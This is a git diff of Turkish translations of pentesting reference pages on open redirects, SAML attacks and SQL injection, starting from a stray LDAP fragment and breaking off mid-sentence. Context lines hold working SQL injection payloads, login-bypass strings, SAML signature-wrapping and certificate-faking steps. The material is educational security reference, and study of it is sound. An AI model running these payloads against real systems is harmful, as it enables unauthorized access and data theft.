LDAP özniteliklerinin bir listesini buradan bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). ```python #!/usr/bin/python3 import requests diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 77d40e5d2..12c18d73c 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -166,8 +166,8 @@ exit; ## Kaynaklar -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) adresinde fuzzing listeleri bulabilirsiniz.\\ -- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\ +- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) adresinde fuzzing listeleri bulabilirsiniz. +- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index 34435c3a5..124b1a6f5 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -33,16 +33,16 @@ puts "First child in original doc: " + doc.root.elements[1].name doc = REXML::Document.new doc.to_s puts "First child after round-trip: " + doc.root.elements[1].name ``` -REXML 3.2.4 veya daha önceki bir sürümle programı çalıştırmak, bunun yerine aşağıdaki çıktıyı verecektir: +REXML 3.2.4 veya daha önceki bir sürümde programı çalıştırmak, bunun yerine aşağıdaki çıktıyı verecektir: ``` First child in original doc: Y First child after round-trip: Z ``` -REXML, yukarıdaki programdan orijinal XML belgesini şu şekilde gördü: +Bu, REXML'in yukarıdaki programdan orijinal XML belgesini gördüğü şekildir: ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>) -Ve bunu bir dizi ayrıştırma ve serileştirme işleminden sonra şu şekilde gördü: +Ve bu da, bir dizi ayrıştırma ve serileştirme işleminden sonra gördüğü şekildir: ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>) @@ -53,7 +53,7 @@ Açıklık ve nasıl istismar edileceği hakkında daha fazla bilgi için: ## XML İmza Sarma Saldırıları -**XML İmza Sarma saldırılarında (XSW)**, düşmanlar, XML belgeleri iki farklı aşamadan geçirilirken ortaya çıkan bir zafiyeti istismar eder: **imza doğrulama** ve **işlev çağrısı**. Bu saldırılar, XML belgesinin yapısını değiştirmeyi içerir. Özellikle, saldırgan **sahte öğeler** enjekte eder ve bu öğeler XML İmzasının geçerliliğini tehlikeye atmaz. Bu manipülasyon, **uygulama mantığı** tarafından analiz edilen öğeler ile **imza doğrulama modülü** tarafından kontrol edilenler arasında bir tutarsızlık yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalırken ve doğrulamadan geçerken, uygulama mantığı **sahte öğeleri** işler. Böylece, saldırgan XML İmzasının **bütünlük korumasını** ve **kaynak kimliğini doğrulamasını** etkili bir şekilde atlatır ve **rastgele içerik enjekte etme** olanağına sahip olur. +**XML İmza Sarma saldırılarında (XSW)**, düşmanlar, XML belgeleri iki farklı aşamada işlendiğinde ortaya çıkan bir zafiyeti istismar eder: **imza doğrulama** ve **işlev çağrısı**. Bu saldırılar, XML belgesinin yapısını değiştirmeyi içerir. Özellikle, saldırgan **sahte öğeler** enjekte eder ve bu öğeler XML İmzasının geçerliliğini tehlikeye atmaz. Bu manipülasyon, **uygulama mantığı** tarafından analiz edilen öğeler ile **imza doğrulama modülü** tarafından kontrol edilenler arasında bir tutarsızlık yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalırken ve doğrulamadan geçerken, uygulama mantığı **sahte öğeleri** işler. Böylece, saldırgan XML İmzasının **bütünlük korumasını** ve **kaynak kimlik doğrulamasını** etkili bir şekilde atlatır ve **rastgele içerik enjekte etme** olanağına sahip olur. Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **ve** [**bu makaleye**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) dayanmaktadır. Bu nedenle, daha fazla ayrıntı için bunları kontrol edin. @@ -87,31 +87,31 @@ Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/note ### XSW #5 -- **Eşsiz Özellik**: Ne İmza ne de orijinal Assertion standart yapılandırmalara (sarmalı/saran/ayrık) uyar. +- **Eşsiz Özellik**: Ne İmza ne de orijinal Assertion standart yapılandırmalara (sarılmış/saran/ayrık) uyar. - **Sonuç**: Kopyalanmış Assertion, İmza'yı sarar ve beklenen belge yapısını değiştirir. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>) ### XSW #6 -- **Strateji**: XSW #4 ve #5 ile benzer konum ekleme, ancak bir farklılıkla. +- **Strateji**: XSW #4 ve #5 ile benzer konum ekleme, ancak bir değişiklikle. - **Sonuç**: Kopyalanmış Assertion, İmza'yı sarar, bu da orijinal Assertion'ı sarar ve iç içe geçmiş yanıltıcı bir yapı oluşturur. -![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-6.svg](<../../images/image (169).png>) +![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>) ### XSW #7 -- **Strateji**: Kopyalanmış Assertion'ın çocuk olarak eklendiği bir Extensions öğesi eklenir. -- **Sonuç**: Bu, Extensions öğesinin daha az kısıtlayıcı şemasını istismar ederek şema doğrulama önlemlerini aşmayı amaçlar, özellikle OpenSAML gibi kütüphanelerde. +- **Strateji**: Kopyalanmış Assertion'ın bir çocuk olarak eklendiği bir Extensions öğesi eklenir. +- **Sonuç**: Bu, Extensions öğesinin daha az kısıtlayıcı şemasını istismar ederek şema doğrulama önlemlerini atlatır, özellikle OpenSAML gibi kütüphanelerde. -![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-7.svg](<../../images/image (971).png>) +![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>) ### XSW #8 - **XSW #7'den Farkı**: Saldırının bir varyantı için başka bir daha az kısıtlayıcı XML öğesi kullanır. - **Sonuç**: Orijinal Assertion, daha az kısıtlayıcı öğenin çocuğu haline gelir ve XSW #7'de kullanılan yapıyı tersine çevirir. -![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-8.svg](<../../images/image (541).png>) +![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>) ### Araç @@ -157,9 +157,9 @@ XSLT hakkında daha fazla bilgi için: ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}} -Genişletilebilir Stil Sayfası Dili Dönüşümleri (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli formatlara dönüştürmek için kullanılabilir. **XSLT dönüşümlerinin dijital imzanın doğrulanmasından önce gerçekleştirildiğini** belirtmek önemlidir. Bu, bir saldırının geçerli bir imza olmadan bile başarılı olabileceği anlamına gelir; kendi kendine imzalanmış veya geçersiz bir imza devam etmek için yeterlidir. +Genişletilebilir Stil Sayfası Dili Dönüşümleri (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli formatlara dönüştürmek için kullanılabilir. **XSLT dönüşümlerinin dijital imzanın doğrulanmasından önce gerçekleştirildiğini** belirtmek önemlidir. Bu, bir saldırının geçerli bir imza olmadan bile başarılı olabileceği anlamına gelir; kendi imzalı veya geçersiz bir imza devam etmek için yeterlidir. -Bu tür zafiyetleri kontrol etmek için burada bir **POC** bulabilirsiniz, bu bölümün başında bahsedilen hacktricks sayfasında yükler için bulabilirsiniz. +Bu tür zafiyetleri kontrol etmek için bir **POC** bulabilirsiniz, bu bölümün başında bahsedilen hacktricks sayfasında payload'lar bulabilirsiniz. ```xml ... @@ -181,9 +181,9 @@ Bu tür zafiyetleri kontrol etmek için burada bir **POC** bulabilirsiniz, bu b ``` ### Araç -SAML isteğinden POC oluşturmak için Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz. Bu, olası XSLT zafiyetlerini test etmek için kullanılabilir. +Ayrıca, SAML isteğinden POC oluşturmak için Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz. Bu, olası XSLT zafiyetlerini test etmek için kullanılabilir. -Ayrıca bu konuşmayı kontrol edin: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI) +Bu konuşmayı da kontrol edin: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI) ## XML İmza Hariç Tutma @@ -193,7 +193,7 @@ Ayrıca bu konuşmayı kontrol edin: [https://www.youtube.com/watch?v=WHn-6xHL7m ### Araç -Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz. SAML Yanıtını yakalayın ve `İmzaları Kaldır` butonuna tıklayın. Böylece **tüm** İmza öğeleri kaldırılır. +Ayrıca, Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz. SAML Yanıtını yakalayın ve `İmzaları Kaldır` butonuna tıklayın. Böylece **tüm** İmza öğeleri kaldırılır. İmzalar kaldırıldıktan sonra, isteğin hedefe devam etmesine izin verin. Eğer İmza, Servis tarafından gerekli değilse @@ -201,7 +201,7 @@ Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb1 ## Sertifika Sahteciliği -Sertifika Sahteciliği, bir **Hizmet Sağlayıcının (SP) bir SAML Mesajının güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etmek için kullanılan bir tekniktir**. Bu, SAML Yanıtını veya İddiasını imzalamak için \***kendinden imzalı bir sertifika** kullanmayı içerir ve bu, SP ile IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olur. +Sertifika Sahteciliği, bir **Hizmet Sağlayıcının (SP) bir SAML Mesajının güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etmek için** kullanılan bir tekniktir. Bu, SAML Yanıtını veya İddiasını imzalamak için \***kendinden imzalı bir sertifika** kullanmayı içerir ve bu, SP ile IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olur. ### Sertifika Sahteciliği Nasıl Yapılır @@ -209,7 +209,7 @@ Aşağıdaki adımlar, [SAML Raider](https://portswigger.net/bappstore/c61cfa893 1. SAML Yanıtını yakalayın. 2. Yanıt bir imza içeriyorsa, sertifikayı `Sertifikayı SAML Raider Sertifikalarına Gönder` butonunu kullanarak gönderin. -3. SAML Raider Sertifikaları sekmesinde, içe aktarılan sertifikayı seçin ve kendinden imzalı bir kopya oluşturmak için `Kaydet ve Kendinden İmzala` butonuna tıklayın. +3. SAML Raider Sertifikalar sekmesinde, içe aktarılan sertifikayı seçin ve kendinden imzalı bir klon oluşturmak için `Kaydet ve Kendinden İmzala` butonuna tıklayın. 4. Burp'un Proxy'sindeki yakalanan isteğe geri dönün. XML İmza açılır menüsünden yeni kendinden imzalı sertifikayı seçin. 5. `İmzaları Kaldır` butonunu kullanarak mevcut imzaları kaldırın. 6. Mesajı veya iddiayı yeni sertifika ile **`(Yeniden) Mesajı İmzala`** veya **`(Yeniden) İddia İmzala`** butonunu kullanarak imzalayın. @@ -217,13 +217,13 @@ Aşağıdaki adımlar, [SAML Raider](https://portswigger.net/bappstore/c61cfa893 ## Token Alıcı Karışıklığı / Hizmet Sağlayıcı Hedef Karışıklığı -Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, **Hizmet Sağlayıcının bir yanıtın hedef alıcısını doğru bir şekilde doğrulayıp doğrulamadığını kontrol etmeyi** içerir. Özünde, bir Hizmet Sağlayıcı, bir başka sağlayıcı için tasarlanmışsa bir kimlik doğrulama yanıtını reddetmelidir. Buradaki kritik unsur, SAML Yanıtının **SubjectConfirmationData** öğesi içinde bulunan **Alıcı** alanıdır. Bu alan, İddianın gönderilmesi gereken yeri belirten bir URL'yi belirtir. Eğer gerçek alıcı, hedef Hizmet Sağlayıcı ile eşleşmiyorsa, İddia geçersiz sayılmalıdır. +Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, **Hizmet Sağlayıcının bir yanıtın hedef alıcısını doğru bir şekilde doğrulayıp doğrulamadığını** kontrol etmeyi içerir. Özünde, bir Hizmet Sağlayıcı, bir başka sağlayıcı için tasarlanmışsa bir kimlik doğrulama yanıtını reddetmelidir. Buradaki kritik unsur, SAML Yanıtının **SubjectConfirmationData** öğesi içinde bulunan **Alıcı** alanıdır. Bu alan, İddianın gönderilmesi gereken yeri belirten bir URL'yi belirtir. Eğer gerçek alıcı, hedef Hizmet Sağlayıcı ile eşleşmiyorsa, İddia geçersiz sayılmalıdır. #### **Nasıl Çalışır** -Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekir. Öncelikle, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkincisi, hedeflenen Hizmet Sağlayıcı (SP-Target), SP-Legit'e hizmet veren aynı Kimlik Sağlayıcıdan token kabul etmelidir. +Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekir. Öncelikle, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkincisi, hedeflenen Hizmet Sağlayıcı (SP-Target), SP-Legit'e hizmet eden aynı Kimlik Sağlayıcıdan token kabul etmelidir. -Bu koşullar altında saldırı süreci basittir. SP-Legit ile paylaşılan Kimlik Sağlayıcı aracılığıyla geçerli bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e gelen SAML Yanıtı yakalanır. Bu yakalanan SAML Yanıtı, aslında SP-Legit için tasarlanmışken, SP-Target'a yönlendirilir. Bu saldırının başarısı, SP-Target'ın İddia'yı kabul etmesiyle ölçülür ve bu, SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlar. +Bu koşullar altında saldırı süreci basittir. SP-Legit ile paylaşılan Kimlik Sağlayıcı aracılığıyla geçerli bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e gelen SAML Yanıtı yakalanır. Bu yakalanan SAML Yanıtı, aslında SP-Legit için tasarlanmışken, SP-Target'a yönlendirilir. Bu saldırının başarısı, SP-Target'ın İddia kabul etmesiyle ölçülür ve bu, SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlar. ```python # Example to simulate interception and redirection of SAML Response def intercept_and_redirect_saml_response(saml_response, sp_target_url): @@ -244,7 +244,7 @@ return "SAML Response successfully redirected to SP-Target." except Exception as e: return f"Failed to redirect SAML Response: {e}" ``` -## Çıkış İşlevinde XSS +## Çıkış Fonksiyonunda XSS Orijinal araştırmaya [bu bağlantıdan](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) erişilebilir. @@ -283,7 +283,7 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d ## Referanslar - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\ +- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) - [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index 4617e05dc..fddf53eac 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -8,7 +8,7 @@ Bir **SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgula ## Giriş noktası tespiti -Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **sorguya veri enjekte etmenin** ve bunu bozmadan yapmanın yollarını anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler: +Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **sorguya veri enjekte etmenin** ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler: ``` [Nothing] ' @@ -53,7 +53,7 @@ HQL does not support comments ``` ### Mantıksal işlemlerle doğrulama -SQL enjeksiyon zafiyetini doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL enjeksiyon zafiyetini gösterir. +Bir SQL enjeksiyon açığını doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL enjeksiyon açığına işaret eder. Benzer şekilde, **matematiksel işlemlerin** uygulanması etkili bir doğrulama tekniği olarak hizmet eder. Örneğin, `?id=1` ve `?id=2-1` erişimlerinin aynı sonucu vermesi, SQL enjeksiyonunu gösterir. @@ -64,7 +64,7 @@ page.asp?id=1' or 1=1 -- results in true page.asp?id=1" or 1=1 -- results in true page.asp?id=1 and 1=2 -- results in false ``` -Bu kelime listesi, önerilen şekilde **SQL enjeksiyonlarını doğrulamak** için oluşturulmuştur: +Bu kelime listesi, önerilen şekilde **SQL enjeksiyonlarını doğrulamaya** çalışmak için oluşturulmuştur: {{#file}} sqli-logic.txt @@ -143,12 +143,12 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet ### Sütun sayısını tespit etme Eğer sorgunun çıktısını görebiliyorsanız, bunu istismar etmenin en iyi yolu budur.\ -Öncelikle, **ilk isteğin** döndürdüğü **sütunların sayısını** bulmamız gerekiyor. Bunun nedeni, **her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir**.\ +Öncelikle, **ilk isteğin** döndürdüğü **sütunların** **sayısını** bulmamız gerekiyor. Bunun nedeni, **her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir**.\ Bu amaçla genellikle iki yöntem kullanılır: #### Order/Group by -Bir sorgudaki sütun sayısını belirlemek için, **ORDER BY** veya **GROUP BY** ifadelerinde kullanılan sayıyı kademeli olarak ayarlayıncaya kadar yanlış bir yanıt alıncaya kadar artırın. SQL içindeki **GROUP BY** ve **ORDER BY**'nın farklı işlevlerine rağmen, her ikisi de sorgunun sütun sayısını belirlemek için aynı şekilde kullanılabilir. +Bir sorgudaki sütun sayısını belirlemek için, **ORDER BY** veya **GROUP BY** ifadelerinde kullanılan sayıyı kademeli olarak artırarak yanlış bir yanıt alınana kadar ayarlayın. SQL içindeki **GROUP BY** ve **ORDER BY**'nın farklı işlevlerine rağmen, her ikisi de sorgunun sütun sayısını belirlemek için aynı şekilde kullanılabilir. ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True @@ -172,7 +172,7 @@ Sorgu doğru olana kadar daha fazla null değeri seçin: 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked ``` -_Sorgunun her iki tarafındaki sütunların türü aynı olmalıdır, bu nedenle bazı durumlarda `null` değerlerini kullanmalısınız ve null her durumda geçerlidir._ +_Sorgunun her iki tarafındaki sütunların türlerinin aynı olması gerektiği bazı durumlarda `null` değerlerini kullanmalısınız ve null her durumda geçerlidir._ ### Veritabanı adlarını, tablo adlarını ve sütun adlarını çıkarın @@ -191,13 +191,13 @@ _Bu verileri keşfetmenin her farklı veritabanında farklı bir yolu vardır, a ## Gizli Union Tabanlı Sömürü -Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyonun gerçekleştirilemeyeceği durum, **gizli union tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu union tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun belirlenmesi gerekir. +Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyonun gerçekleştirilemeyeceği durum, **gizli union tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu union tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun anlaşılması gerekir. -Bu, kör enjeksiyon tekniklerinin yanı sıra hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tabloların kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'in belgelerine başvurulması önerilir. +Bu, hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tablolarla birlikte kör enjeksiyon tekniklerinin kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurulması önerilir. -Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve bu, yeni erişilebilir union tabanlı enjeksiyonun sömürülmesini kolaylaştırır. +Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve böylece yeni erişilebilir union tabanlı enjeksiyonun sömürülmesi sağlanır. -Daha kapsamlı bilgiler için, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) adresindeki tam makaleye başvurun. +Daha kapsamlı bilgiler için, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) makalesine başvurun. ## Hata Tabanlı Sömürü @@ -213,7 +213,7 @@ Bu durumda, veritabanını karakter karakter dökmek için bu davranışı köt ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` -## Hata Kör SQLi Sömürüsü +## Hata Kör SQLi İstismarı Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** olup olmadığını ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda her doğru karakteri tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz: ```sql @@ -221,15 +221,15 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` ## Zaman Tabanlı SQLi İstismar Etme -Bu durumda, sayfanın bağlamına göre sorgunun **yanıtını ayırt etmenin** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresinin uzamasını** sağlayabilirsiniz. Bu tekniği daha önce [bir SQLi zafiyetini doğrulamak için](#confirming-with-timing) kullanırken gördük. +Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını** **ayırmanın** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresinin uzamasını** sağlayabilirsiniz. Bu tekniği daha önce [SQLi zafiyetini doğrulamak için](#confirming-with-timing) kullanırken gördük. ```sql 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` ## Stacked Queries -Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilişkilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz. +Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilgilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz. -**Oracle** **stacked queries**'i desteklemez. **MySQL, Microsoft** ve **PostgreSQL** bunları destekler: `QUERY-1-HERE; QUERY-2-HERE` +**Oracle** **stacked queries**'i desteklemez. **MySQL, Microsoft** ve **PostgreSQL** destekler: `QUERY-1-HERE; QUERY-2-HERE` ## Out of band Exploitation @@ -269,7 +269,7 @@ Giriş işlevselliğini atlatmayı denemek için liste: ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` -Bu sorgu, MD5'in kimlik doğrulama kontrollerinde ham çıktı için true ile kullanıldığında bir zayıflığı sergilemektedir ve bu durum sistemi SQL enjeksiyonuna karşı savunmasız hale getirmektedir. Saldırganlar, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak bunu istismar edebilir ve yetkisiz erişim sağlayabilir. +Bu sorgu, MD5'in kimlik doğrulama kontrollerinde ham çıktı için true ile kullanıldığında bir zayıflığı sergilemektedir ve bu durum sistemi SQL enjeksiyonuna karşı savunmasız hale getirmektedir. Saldırganlar, bu durumu, hash'landığında beklenmedik SQL komut parçaları üreten girdiler oluşturarak istismar edebilir ve yetkisiz erişim sağlayabilir. ```sql md5("ffifdyop", true) = 'or'6�]��!r,��b� sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! @@ -281,7 +281,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' **Tavsiye edilen liste**: Kullanıcı adı olarak listenin her satırını ve şifre olarak her zaman: _**Pass1234.**_ kullanmalısınız.\ -&#xNAN;_(Bu yükler, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_ +_(Bu payload'lar, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_ {{#file}} sqli-hashbypass.txt @@ -289,7 +289,7 @@ sqli-hashbypass.txt ### GBK Kimlik Doğrulama Atlatma -Eğer ' kaçış karakteri ile işleniyorsa %A8%27 kullanabilirsiniz ve ' kaçış karakteri ile işlendiğinde şu şekilde oluşturulacaktır: 0xA80x5c0x27 (_╘'_) +Eğer ' kaçış karakteri ile işleniyorsa %A8%27 kullanabilirsiniz ve ' kaçış karakteri ile işlendiğinde şu oluşturulacaktır: 0xA80x5c0x27 (_╘'_) ```sql %A8%27 OR 1=1;-- 2 %8C%A8%27 OR 1=1-- 2 @@ -316,13 +316,13 @@ Bunu yapmak için **"master object"** olarak adlandırılan yeni bir nesne **olu - Adı **AdMIn** olan bir kullanıcı oluşturun (büyük & küçük harfler) - Adı **admin=** olan bir kullanıcı oluşturun -- **SQL Truncation Attack** (kullanıcı adı veya e-posta için bir tür **uzunluk sınırı** olduğunda) --> Adı **admin \[bir sürü boşluk] a** olan bir kullanıcı oluşturun +- **SQL Truncation Attack** (kullanıcı adı veya e-posta için bazı **uzunluk sınırlamaları** olduğunda) --> Adı **admin \[bir sürü boşluk] a** olan bir kullanıcı oluşturun #### SQL Truncation Attack Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve **admin** kullanıcısını taklit etmek istiyorsanız, "_admin \[30 boşluk] a_" adında bir kullanıcı adı oluşturmaya çalışın ve herhangi bir şifre belirleyin. -Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" **yeni şifreyle güncelleyerek** sonundaki tüm boşlukları **otomatik olarak kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez). +Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" olarak **yeni şifreyle güncelleyerek** tüm boşlukları sonunda **otomatik olarak 